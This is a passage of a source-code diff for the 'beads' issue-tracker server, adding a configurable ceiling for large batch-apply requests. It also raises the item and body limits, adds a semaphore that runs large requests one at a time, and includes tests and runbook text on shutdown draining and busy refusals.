shutdown begins, rather than + extending the drain further. `bd serve`'s orchestrator stop grace must be at + least `--large-apply-ceiling` plus 5 seconds, or an external `SIGKILL` can + still cut off an in-flight large apply the drain would otherwise have waited + out; see `engdocs/SERVE_RUNBOOK.md`. A new `issues.batchApplyLarge` + capability token on `GET /v0/beads/context` lets a client learn whether a + given server accepts the raised envelope before sending a plan over the old + 100-item bound. Measured wall-clock for the whole-transaction apply + (embedded Dolt, build+commit only) backs the 5-minute default: a 356-item + plan (the design doc's primary measured shape) commits in ~12.6s (23.8x + headroom under the ceiling), and a 1000-item plan (the new cap) commits in + ~57.5s (5.2x headroom). + - **A long-running schema migration now says so instead of going quiet** ([#5997](https://github.com/gastownhall/beads/pull/5997)). Migrations are allowed to take a long time by design — migration 0047's full-table diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index 713a7ec5e..3110191da 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -47,11 +47,12 @@ const ( ) var ( - serveAddr string - serveAllowNonLoopback bool - serveAuthTokenFile string - serveInsecureNoAuth bool - serveAllowedHosts []string + serveAddr string + serveAllowNonLoopback bool + serveAuthTokenFile string + serveInsecureNoAuth bool + serveAllowedHosts []string + serveLargeApplyCeiling time.Duration ) var serveCmd = &cobra.Command{ @@ -175,6 +176,8 @@ func registerServeFlags(cmd *cobra.Command) { "Serve a non-loopback bind with NO authentication. Every peer that can reach the address gets full read and claim access") cmd.Flags().StringArrayVar(&serveAllowedHosts, "allowed-host", nil, "Additional Host header value to answer to, e.g. a service DNS name. Repeatable; matched exactly, with no wildcards") + cmd.Flags().DurationVar(&serveLargeApplyCeiling, "large-apply-ceiling", httpapi.DefaultLargeApplyCeiling, + "Whole-run budget for a POST issues:batchApply request over 100 items (a ceiling, not a target; requests at or under 100 items are unaffected). Must be positive. The orchestrator's stop grace must be at least this long plus 5s, or an external SIGKILL can cut off an in-flight large apply a graceful drain would otherwise have waited out; see engdocs/SERVE_RUNBOOK.md") } // serveOptions is the part of a server's configuration that depends on NEITHER @@ -187,11 +190,12 @@ func registerServeFlags(cmd *cobra.Command) { // server configuration that cannot yet describe a server. The field names match // Config's because they become those fields verbatim, in applyTo. type serveOptions struct { - Addr string - AllowNonLoopback bool - InsecureNoAuth bool - AllowedHosts []string - Auth *httpapi.TokenFileAuth + Addr string + AllowNonLoopback bool + InsecureNoAuth bool + AllowedHosts []string + Auth *httpapi.TokenFileAuth + LargeApplyCeiling time.Duration } // applyTo writes the operator's choices onto the configuration a database arm @@ -203,6 +207,7 @@ func (o serveOptions) applyTo(cfg *httpapi.Config) { cfg.InsecureNoAuth = o.InsecureNoAuth cfg.AllowedHosts = o.AllowedHosts cfg.Auth = o.Auth + cfg.LargeApplyCeiling = o.LargeApplyCeiling } // resolveServeConfig turns the flags and their environment fallbacks into the @@ -215,14 +220,18 @@ func (o serveOptions) applyTo(cfg *httpapi.Config) { // standing in, and must not arrive after a database has been opened. func resolveServeConfig() (serveOptions, error) { cfg := serveOptions{ - Addr: serveAddr, - AllowNonLoopback: serveAllowNonLoopback, - InsecureNoAuth: serveInsecureNoAuth, - AllowedHosts: serveAllowedHosts, + Addr: serveAddr, + AllowNonLoopback: serveAllowNonLoopback, + InsecureNoAuth: serveInsecureNoAuth, + AllowedHosts: serveAllowedHosts, + LargeApplyCeiling: serveLargeApplyCeiling, } if _, err := httpapi.ValidateBindAddr(serveAddr, serveAllowNonLoopback); err != nil { return cfg, err } + if serveLargeApplyCeiling <= 0 { + return cfg, fmt.Errorf("--large-apply-ceiling must be positive, got %s", serveLargeApplyCeiling) + } tokenFile := serveAuthTokenFile if tokenFile == "" { diff --git a/cmd/bd/serve_test.go b/cmd/bd/serve_test.go index a94be1241..d9032699e 100644 --- a/cmd/bd/serve_test.go +++ b/cmd/bd/serve_test.go @@ -13,6 +13,7 @@ import ( "sort" "strings" "testing" + "time" "github.com/spf13/pflag" @@ -28,7 +29,10 @@ import ( // deliberately, rather than arriving as one nobody designed. // // Every flag added here defaults to the behavior that existed without it, so -// `bd serve` with no arguments is the same server it has always been. +// a flag's default is never what changes `bd serve` with no arguments from +// one release to the next. For --large-apply-ceiling that behavior is +// httpapi.DefaultLargeApplyCeiling, the ceiling the server applies when none +// is configured. func TestServeFlags(t *testing.T) { var got []string serveCmd.Flags().VisitAll(func(f *pflag.Flag) { got = append(got, f.Name) }) @@ -36,18 +40,20 @@ func TestServeFlags(t *testing.T) { want := []string{ "addr", "allow-non-loopback", "allowed-host", "auth-token-file", - "insecure-no-auth", + "insecure-no-auth", "large-apply-ceiling", } if strings.Join(got, ",") != strings.Join(want, ",") { t.Errorf("bd serve flags = %v, want %v", got, want) } // The defaults ARE the compatibility promise: no token file, no extra - // hosts, and no waiver. + // hosts, no waiver, and the large-apply ceiling that SERVE_RUNBOOK.md + // sizes an orchestrator's stop grace against. for _, tc := range []struct{ flag, want string }{ {"auth-token-file", ""}, {"insecure-no-auth", "false"}, {"allowed-host", "[]"}, + {"large-apply-ceiling", "5m0s"}, } { f := serveCmd.Flags().Lookup(tc.flag) if f == nil { @@ -511,14 +517,17 @@ func withServeFlags(t *testing.T) { addr, nonLoopback := serveAddr, serveAllowNonLoopback token, insecure := serveAuthTokenFile, serveInsecureNoAuth hosts := serveAllowedHosts + largeApplyCeiling := serveLargeApplyCeiling t.Cleanup(func() { serveAddr, serveAllowNonLoopback = addr, nonLoopback serveAuthTokenFile, serveInsecureNoAuth = token, insecure serveAllowedHosts = hosts + serveLargeApplyCeiling = largeApplyCeiling }) serveAddr, serveAllowNonLoopback = "127.0.0.1:0", false serveAuthTokenFile, serveInsecureNoAuth = "", false serveAllowedHosts = nil + serveLargeApplyCeiling = httpapi.DefaultLargeApplyCeiling } func serveTokenFile(t *testing.T) string { @@ -584,6 +593,20 @@ func TestServeConfigRefusesAnUnservablePosture(t *testing.T) { apply: func(*testing.T) { serveAllowedHosts = []string{"bd.beads.svc:8080"} }, wantErr: "--allowed-host", }, + { + name: "a zero large-apply ceiling", + apply: func(*testing.T) { serveLargeApplyCeiling = 0 }, + wantErr: "--large-apply-ceiling", + }, + { + name: "a negative large-apply ceiling", + apply: func(*testing.T) { serveLargeApplyCeiling = -time.Second }, + wantErr: "--large-apply-ceiling", + }, + { + name: "a non-default large-apply ceiling", + apply: func(*testing.T) { serveLargeApplyCeiling = 90 * time.Second }, + }, } { t.Run(tc.name, func(t *testing.T) { clearServeEnv(t) @@ -647,6 +670,7 @@ func TestServeConfigCarriesTheOperatorsChoicesThrough(t *testing.T) { withServeFlags(t) serveAuthTokenFile = serveTokenFile(t) serveAllowedHosts = []string{"bd-proj.beads.svc.cluster.local", "bd-proj.beads.svc"} + serveLargeApplyCeiling = 90 * time.Second cfg, err := resolveServeConfig() if err != nil { @@ -661,6 +685,15 @@ func TestServeConfigCarriesTheOperatorsChoicesThrough(t *testing.T) { if cfg.InsecureNoAuth { t.Error("InsecureNoAuth is set without the flag") } + if cfg.LargeApplyCeiling != serveLargeApplyCeiling { + t.Errorf("LargeApplyCeiling = %s, want %s (--large-apply-ceiling did not reach the server config)", cfg.LargeApplyCeiling, serveLargeApplyCeiling) + } + + var httpCfg httpapi.Config + cfg.applyTo(&httpCfg) + if httpCfg.LargeApplyCeiling != serveLargeApplyCeiling { + t.Errorf("serveOptions.applyTo did not carry LargeApplyCeiling through: got %s, want %s", httpCfg.LargeApplyCeiling, serveLargeApplyCeiling) + } } // TestServeHelpDescribesTheAuthPosture. The help text is where an operator diff --git a/engdocs/SERVE_RUNBOOK.md b/engdocs/SERVE_RUNBOOK.md index e746571aa..a6a04123f 100644 --- a/engdocs/SERVE_RUNBOOK.md +++ b/engdocs/SERVE_RUNBOOK.md @@ -319,6 +319,24 @@ contexts: the budget covers a claim inside its serialization-retry budget plus its commit, because killing such a connection early would leave the client unable to tell whether its write landed. +**A large `POST /v0/beads/issues:batchApply` (over 100 items) extends this +budget rather than being cut off by it.** Such a request can legitimately still +be running at up to `--large-apply-ceiling` (5 minutes by default) when +shutdown begins, so the drain budget computed at shutdown start extends to that +request's own remaining deadline, plus 5 seconds to write its response back, +instead of the ordinary 20 seconds — the in-flight write is waited out, not +killed mid-commit. A large apply still *queued* for the one-wide large-apply +semaphore when shutdown begins is refused with `503` immediately rather than +being admitted or extending the drain further. + +**The orchestrator's stop grace (e.g. a Kubernetes `terminationGracePeriodSeconds`) +must be at least `--large-apply-ceiling` plus 5 seconds.** The drain logic above +only runs inside this process; an external `SIGKILL` after the orchestrator's +own grace period expires cuts the process off regardless of what the drain was +waiting for, which can still sever an in-flight large apply the drain would +otherwise have waited out. Size the grace period to the ceiling plus those 5 +seconds, not to the ordinary 20s drain. + Journal streams are the exception, and they have to be: a held-open response would otherwise sit through the whole budget and then be killed anyway. They get an explicit close signal when the drain starts and end on their own within a diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index ac3f37e93..c0e0be8f4 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -81,6 +81,7 @@ go_test( "events_test.go", "events_watch_test.go", "get_issue_test.go", + "large_batch_apply_test.go", "list_comments_omitted_test.go", "list_sort_test.go", "memories_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index ec5422748..9ad2dc9be 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -354,7 +354,7 @@ type ApplyBatchRequest struct { // Items The items to apply, IN THE ORDER THEY ARE TO BE APPLIED. An empty array is a `400` rather than a successful no-op: a write request that writes nothing is a client bug, and answering it cheerfully is how a client whose own plan filtered to nothing silently stops writing. // - // The 100-item cap bounds how long one request may hold a write transaction, not batch semantics. Split a larger plan; each request is atomic on its own — but splitting it changes what the end gate can see, since the gate runs over one request at a time. + // The 1000-item cap (raised from 100; see the `issues.batchApplyLarge` capability token on `ContextResponse`) bounds how long one request may hold a write transaction, not batch semantics. A request over 100 items also EXTENDS the effective request deadline: the server grants a flat, operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) instead of the ordinary small-request deadline, so a plan that genuinely needs minutes to apply is not cut off mid-commit. It never narrows: a request at or under 100 items keeps exactly the deadline it has always had. Split a larger plan if you must; each request is atomic on its own — but splitting it changes what the end gate can see, since the gate runs over one request at a time, and the server itself never splits a plan you send it: a single `items` array either commits in full or changes nothing. // // A per-item refusal names its offender as `items[i].kind.member`. Items []ApplyItem `json:"items"` @@ -1010,7 +1010,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the one behavior token is `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, and `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 2da39156b..21b40f174 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -37,11 +37,37 @@ const ( // It bounds how long one request may hold a write transaction — not batch // semantics, which have no size in them. maxApplyBatchItems = issueops.MaxApplyBatchItems - // maxApplyBatchBodyBytes bounds the request body. A hundred items each + // maxApplyBatchBodyBytes bounds the request body. A thousand items each // carrying a description, a design, acceptance criteria and a metadata // document is the shape this has to admit, so it refuses the absurd before - // any of it is parsed. It is the batch create's bound for the same reason. - maxApplyBatchBodyBytes = 4 << 20 + // any of it is parsed. + // + // Raised from 4 MiB to 16 MiB alongside maxApplyBatchItems's 100->1000 + // raise: the measured max shape's body (102 creates, descriptions + // totaling about 878 KB) is about 1.1 MB, and 1000 items at the same + // density is comfortably inside 16 MiB with headroom for a caller that + // writes longer descriptions than that sample. + // + // See TestCapBatchApplyLargeTiesAllThreeLimits: this constant, + // largeApplyItemThreshold and issueops.MaxApplyBatchItems are pinned + // together with CapBatchApplyLarge, the token that advertises all three. + // + // See maxInflight's doc comment (server.go) for the worst-case concurrent + // decode memory this implies: maxInflight requests may each be decoding a + // body up to this size at once, before the large-apply semaphore narrows + // how many of them can go on to actually run. + maxApplyBatchBodyBytes = 16 << 20 + // largeApplyItemThreshold is where a request crosses from "the original, + // always-supported shape" to "the raised envelope": a request with MORE + // than this many items holds the largeApplySem slot (serializing + // oversized transactions one at a time, Server.acquireLargeApply) and + // runs under a whole separate, EXTENDED budget (Server.largeApplyCeiling) + // instead of the ordinary requestDeadline every other request gets. It is + // deliberately the OLD cap, not some fraction of the new one: every + // request at or under this threshold runs under EXACTLY the deadline it + // always has — route() applies requestDeadline unconditionally, and + // nothing in this file touches it for such a request. + largeApplyItemThreshold = 100 ) // The document's member list at each of this body's levels. Every schema is @@ -118,6 +144,24 @@ func (s *Server) handleApplyBatch(w http.ResponseWriter, r *http.Request) { return } + // One-wide "large write" semaphore: a request carrying more than + // largeApplyItemThreshold items serializes against every other large + // apply, so at most one oversized transaction holds a write connection + // at a time, and runs under an EXTENDED budget built fresh at the moment + // it is admitted (Server.acquireLargeApply). An ordinary (<=threshold) + // request never touches this, is never waited on by one, and keeps + // r.Context() exactly as route() built it — requestDeadline, + // unconditionally, the same as it always has. + if len(request.Items) > largeApplyItemThreshold { + runCtx, release, err := s.acquireLargeApply(r.Context()) + if err != nil { + s.failApplyBatch(w, r, request, err) + return + } + defer release() + r = r.WithContext(runCtx) + } + applier, err := s.batchApplier(r) if err != nil { s.failApplyBatch(w, r, request, err) diff --git a/internal/httpapi/large_batch_apply_test.go b/internal/httpapi/large_batch_apply_test.go new file mode 100644 index 000000000..d3dca4af2 --- /dev/null +++ b/internal/httpapi/large_batch_apply_test.go @@ -0,0 +1,1060 @@ +package httpapi + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/http/httptest" + "slices" + "strings" + "sync" + "testing" + "time" + + "github.com/steveyegge/beads/issueops" +) + +// The pins for the raised POST issues:batchApply envelope: the 16 MiB body +// cap, the one-wide large-write semaphore that serializes oversized +// transactions without touching an ordinary request, and the EXTENDED (never +// narrowed) run budget a request over largeApplyItemThreshold items gets once +// it is admitted. The item-count cap itself (issueops.MaxApplyBatchItems, +// 100->1000) is pinned at the role and storage layers (issueops, +// internal/storage/uow, internal/storage/embeddeddolt, internal/storage/dolt); +// backend/conformance's RunBatchApplyBoundsTheItemCount already scales to it +// automatically, which is why it is not repinned here. + +// TestApplyBatchBodyCapIsEnforcedWhileReading mirrors +// TestClaimBodyCapIsEnforcedWhileReading (claim_test.go): the raised 16 MiB +// cap is refused mid-read, at the decoder, before any member exists to name. +func TestApplyBatchBodyCapIsEnforcedWhileReading(t *testing.T) { + oversized := `{"actor":"` + strings.Repeat("x", maxApplyBatchBodyBytes) + `"}` + r := httptest.NewRequest(http.MethodPost, batchApplyPath, strings.NewReader(oversized)) + + members, res := decodeJSONObject(httptest.NewRecorder(), r, maxApplyBatchBodyBytes) + if res == nil { + t.Fatalf("a %d-byte body was accepted (%d members)", len(oversized), len(members)) + } + if res.Problem.Status != http.StatusBadRequest || res.Problem.Code != string(CodeInvalidArgument) { + t.Errorf("problem = %d/%s, want 400/%s", res.Problem.Status, res.Problem.Code, CodeInvalidArgument) + } + if res.Problem.Detail == nil || !strings.Contains(*res.Problem.Detail, "larger than") { + t.Errorf("detail = %v, want it to say the body was too large", res.Problem.Detail) + } +} + +// TestApplyBatchAcceptsABodyThePreB1CapWouldHaveRefused proves the raise is +// real end-to-end over the wire, not just in the constant: a body north of the +// OLD 4 MiB cap (but comfortably under the new 16 MiB one) must now succeed, +// built from ordinary create items rather than one oversized member. +func TestApplyBatchAcceptsABodyThePreB1CapWouldHaveRefused(t *testing.T) { + const oldCap = 4 << 20 + applier := &roleBatchApplier{} + ts := newApplyBatchServer(t, applier) + + // 60 items with a ~100 KiB description each is ~6 MiB of body — over the + // old 4 MiB cap, under the new 16 MiB one. + desc := strings.Repeat("d", 100<<10) + items := make([]string, 60) + for i := range items { + items[i] = fmt.Sprintf(`{"kind":"create","create":{"title":"t-%d","description":%q}}`, i, desc) + } + body := `{"actor":"alice","items":[` + strings.Join(items, ",") + `]}` + if len(body) <= oldCap { + t.Fatalf("test body is %d bytes, want more than the old %d-byte cap to actually exercise the raise", len(body), oldCap) + } + if int64(len(body)) >= maxApplyBatchBodyBytes { + t.Fatalf("test body is %d bytes, want less than the new %d-byte cap", len(body), maxApplyBatchBodyBytes) + } + + resp := ts.claim(t, batchApplyPath, body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200 for a %d-byte body under the raised cap: %s", resp.StatusCode, len(body), readAll(t, resp)) + } +} + +// TestCapBatchApplyLargeTiesAllThreeLimits pins the three numbers +// CapBatchApplyLarge (issues.batchApplyLarge) promises together: an older +// client that checks this token before dialing an over-100-item plan relies +// on ALL THREE — the item cap, the body cap and the run-budget ceiling — so a +// change that lowers one of them without also removing the token would +// advertise an envelope this server no longer actually honors. +func TestCapBatchApplyLargeTiesAllThreeLimits(t *testing.T) { + const ( + wantMaxItems = 1000 + wantMaxBodyBytes = 16 << 20 + wantThreshold = 100 + wantDefaultCeiling = 5 * time.Minute + ) + if issueops.MaxApplyBatchItems != wantMaxItems { + t.Errorf("issueops.MaxApplyBatchItems = %d, want %d", issueops.MaxApplyBatchItems, wantMaxItems) + } + if maxApplyBatchBodyBytes != wantMaxBodyBytes { + t.Errorf("maxApplyBatchBodyBytes = %d, want %d", maxApplyBatchBodyBytes, wantMaxBodyBytes) + } + if largeApplyItemThreshold != wantThreshold { + t.Errorf("largeApplyItemThreshold = %d, want %d", largeApplyItemThreshold, wantThreshold) + } + if DefaultLargeApplyCeiling != wantDefaultCeiling { + t.Errorf("DefaultLargeApplyCeiling = %s, want %s", DefaultLargeApplyCeiling, wantDefaultCeiling) + } + if !slices.Contains(behaviorCapabilities, CapBatchApplyLarge) { + t.Fatal("CapBatchApplyLarge is not advertised in behaviorCapabilities; a client cannot discover this envelope") + } +} + +// TestAcquireLargeApplySerializesOneAtATime drives acquireLargeApply +// directly: a second caller blocks until the first releases. +func TestAcquireLargeApplySerializesOneAtATime(t *testing.T) { + s := &Server{ + largeApplySem: make(chan struct{}, 1), + semTimeout: time.Minute, // generous: this test is about serialization, not timeout + largeApplyCeiling: time.Minute, + closing: make(chan struct{}), + } + + runCtx1, release1, err := s.acquireLargeApply(context.Background()) + if err != nil { + t.Fatalf("first acquireLargeApply: %v", err) + } + dl1, ok := runCtx1.Deadline() + if !ok { + t.Fatal("first run context carries no deadline") + } + if got := s.largeApplyDeadline.Load(); got == nil || !got.Equal(dl1) { + t.Fatalf("largeApplyDeadline while held = %v, want %v", got, dl1) + } + + // A second, live caller blocks until the first releases. + second := make(chan struct{}) + go func() { + _, release2, err := s.acquireLargeApply(context.Background()) + if err != nil { + t.Errorf("second acquireLargeApply: %v", err) + return + } + release2() + close(second) + }() + + select { + case <-second: + t.Fatal("the second acquire completed before the first released — the slot is not one-wide") + case <-time.After(50 * time.Millisecond): + } + + release1() + if got := s.largeApplyDeadline.Load(); got != nil { + t.Fatalf("largeApplyDeadline after release = %v, want nil", got) + } + + select { + case <-second: + case <-time.After(2 * time.Second): + t.Fatal("the second acquire never completed after the first released") + } +} + +// TestAcquireLargeApplyDeadlineStartsAtAcquisitionNotAtCall pins that the run +// budget is measured from the moment the slot is actually taken, not from +// when the caller first started waiting for it: a caller queued for a while +// must still get the FULL largeApplyCeiling once admitted, not whatever is +// left of a deadline that started ticking back when it first queued. +func TestAcquireLargeApplyDeadlineStartsAtAcquisitionNotAtCall(t *testing.T) { + s := &Server{ + largeApplySem: make(chan struct{}, 1), + semTimeout: time.Minute, + largeApplyCeiling: time.Minute, + closing: make(chan struct{}), + } + _, release1, err := s.acquireLargeApply(context.Background()) + if err != nil { + t.Fatalf("first acquireLargeApply: %v", err) + } + + // The queue delay must be LARGE relative to the slack below, not the + // other way around: a mutation that measures the run deadline from the + // CALL (when acquireLargeApply was entered and started queueing) instead + // of from ACQUISITION (when the slot was actually won) only differs from + // the correct behavior by roughly the queue delay. A short queue delay + // (e.g. 250ms) against generous slack (e.g. 2s) would hide that + // difference entirely; a 2s queue delay against 250ms slack cannot. + const queueDelay = 2 * time.Second + const slack = 250 * time.Millisecond + queueStart := time.Now() + go func() { + time.Sleep(queueDelay) + release1() + }() + + runCtx2, release2, err := s.acquireLargeApply(context.Background()) + if err != nil { + t.Fatalf("second acquireLargeApply: %v", err) + } + defer release2() + acquiredAt := time.Now() + + if waited := acquiredAt.Sub(queueStart); waited < queueDelay/2 { + t.Fatalf("test setup: the second caller was not actually queued (waited only %s)", waited) + } + dl2, ok := runCtx2.Deadline() + if !ok { + t.Fatal("second run context carries no deadline") + } + budget := dl2.Sub(acquiredAt) + if budget < s.largeApplyCeiling-slack || budget > s.largeApplyCeiling+slack { + t.Errorf("run budget measured from ACQUISITION = %s, want ~%s (the deadline must start when the lock is acquired, not when the wait began)", budget, s.largeApplyCeiling) + } +} + +// TestAcquireLargeApplyRefusesAfterClosing pins the drain-safety half of +// acquireLargeApply: once s.closing fires, every NEW acquisition attempt is +// refused with ErrBusy rather than being admitted or left to hang — which is +// what lets Serve's graceful-drain budget be computed ONCE at shutdown start +// and still be correct (see Serve's doc comment). +func TestAcquireLargeApplyRefusesAfterClosing(t *testing.T) { + s := &Server{ + largeApplySem: make(chan struct{}, 1), + semTimeout: time.Minute, + largeApplyCeiling: time.Minute, + closing: make(chan struct{}), + } + close(s.closing) + + if _, _, err := s.acquireLargeApply(context.Background()); !errors.Is(err, ErrBusy) { + t.Fatalf("acquireLargeApply after closing = %v, want ErrBusy", err) + } + + // The slot itself must stay free: a refusal here is not a leak. + select { + case s.largeApplySem <- struct{}{}: + default: + t.Fatal("largeApplySem appears held after a refusal that never admitted anything") + } +} + +// TestAdmitLargeApplyRefusesIfClosingRacesInAfterTheSlotIsAlreadyWon pins item +// 3's other half directly: a select with multiple ready cases (largeApplySem +// and s.closing both ready in acquireLargeApply) picks pseudo-randomly, so a +// goroutine can win the large-apply slot in the very instant a graceful +// shutdown begins — after Serve has already snapshotted the drain budget. +// admitLargeApply's post-store recheck of s.closing is what refuses that +// admission instead of letting it run under a stale budget. This test +// exercises admitLargeApply directly, simulating that exact ordering +// (slot already taken, THEN closing fires, THEN admitLargeApply runs) +// without depending on actually winning a timing race. +func TestAdmitLargeApplyRefusesIfClosingRacesInAfterTheSlotIsAlreadyWon(t *testing.T) { + s := &Server{ + largeApplySem: make(chan struct{}, 1), + largeApplyCeiling: time.Minute, + closing: make(chan struct{}), + } + s.largeApplySem <- struct{}{} // simulate acquireLargeApply's select already having won the slot + close(s.closing) // shutdown raced in between winning the slot and admission + + runCtx, release, err := s.admitLargeApply(context.Background()) + if !errors.Is(err, ErrBusy) { + t.Fatalf("admitLargeApply after a same-instant close = %v, want ErrBusy", err) + } + if runCtx != nil || release != nil { + t.Fatalf("admitLargeApply after a same-instant close returned runCtx=%v release non-nil=%t, want both nil", runCtx, release != nil) + } + if got := s.largeApplyDeadline.Load(); got != nil { + t.Fatalf("largeApplyDeadline left stamped at %v after a refused admission, want nil", *got) + } + + // The slot must be released back, not leaked, by the refusal. + select { + case s.largeApplySem <- struct{}{}: + default: + t.Fatal("largeApplySem appears held after admitLargeApply refused a same-instant-close admission") + } +} + +// TestLargeApplyRefusalIsBusyNotInternal is the HTTP-level twin of +// TestAcquireLargeApplyRefusesAfterClosing's sibling case: a request that +// gives up while queued for the large-apply slot — because the bounded wait +// (semTimeout) expired — must answer 503 busy with Retry-After, never the +// non-retryable 500 a bare context error would produce. Nothing was written, +// so nothing here is unsafe to retry. +func TestLargeApplyRefusalIsBusyNotInternal(t *testing.T) { + applier := &controlledApplier{gate: make(chan struct{})} + defer close(applier.gate) + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier}), func(s *Server) { + s.semTimeout = 100 * time.Millisecond + }) + + bigBody := createItemsBody("alice", largeApplyItemThreshold+1) + holderDone := make(chan claimResult, 1) + go func() { holderDone <- ts.claimAsync(bigBody) }() + waitForCallCount(t, applier, 1) + + resp := ts.claim(t, batchApplyPath, bigBody) + if resp.StatusCode != http.StatusServiceUnavailable { + t.Fatalf("status = %d, want 503 busy: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeBusy) { + t.Errorf("code = %v, want %s", body["code"], CodeBusy) + } + if ra := resp.Header.Get("Retry-After"); ra == "" { + t.Error("missing Retry-After header on a busy refusal") + } +} + +// TestAcquireLargeApplyRefusesCleanlyWhenAQueuedCallerDisconnects is item +// 7's explicit disconnect sub-bullet: a request queued for the large-apply +// slot whose OWN context ends first — the client hung up, or its ordinary +// (unrelated) request deadline expired — must answer the same ErrBusy every +// other refusal above answers. Nothing was written on this path, so it is +// safe to retry; returning the raw ctx.Err() instead would let it fall +// through to a non-retryable 500, misrepresenting a refusal that cost +// nothing as a server fault. +func TestAcquireLargeApplyRefusesCleanlyWhenAQueuedCallerDisconnects(t *testing.T) { + s := &Server{ + largeApplySem: make(chan struct{}, 1), + semTimeout: time.Minute, // long enough that ctx, not the timer, ends the wait + largeApplyCeiling: time.Minute, + closing: make(chan struct{}), + } + _, release1, err := s.acquireLargeApply(context.Background()) + if err != nil { + t.Fatalf("first acquireLargeApply: %v", err) + } + defer release1() + + callerCtx, cancel := context.WithCancel(context.Background()) + queuedErr := make(chan error, 1) + go func() { + _, _, err := s.acquireLargeApply(callerCtx) + queuedErr <- err + }() + + // Give the queued caller time to actually reach the bounded wait before + // disconnecting it, so this exercises the ctx.Done() branch, not a race + // against acquireLargeApply's own setup. + time.Sleep(50 * time.Millisecond) + cancel() // the client hangs up (or its own unrelated deadline expires) + + select { + case err := <-queuedErr: + if !errors.Is(err, ErrBusy) { + t.Errorf("queued caller's error after its own ctx ended = %v, want ErrBusy (never a raw ctx.Err() misclassified as a 500)", err) + } + if errors.Is(err, context.Canceled) { + t.Errorf("queued caller's error = %v wraps context.Canceled directly; it must be exactly ErrBusy, not a ctx error a caller could mistake for its own cancellation", err) + } + case <-time.After(2 * time.Second): + t.Fatal("acquireLargeApply never returned after the queued caller's context was canceled") + } +} + +// TestLargeApplyQueueDoesNotStarveOrdinaryRequests reproduces the DoS this +// slice fixes: route() acquires the GENERAL sem slot before the handler ever +// runs and holds it for the handler's whole lifetime, so a goroutine that +// then blocks UNBOUNDED on the one-wide large-apply lock starves every other +// request behind a saturated sem. Two requests queued behind a held +// large-apply slot must each give up (and free their sem slot) within a +// bounded wait, so a later ordinary request is still served promptly rather +// than finding the general sem exhausted by requests parked forever. +func TestLargeApplyQueueDoesNotStarveOrdinaryRequests(t *testing.T) { + applier := &controlledApplier{gate: make(chan struct{})} + defer close(applier.gate) + ts := newTestServer(t, rolesConfig(Config{BatchApplier: applier}), 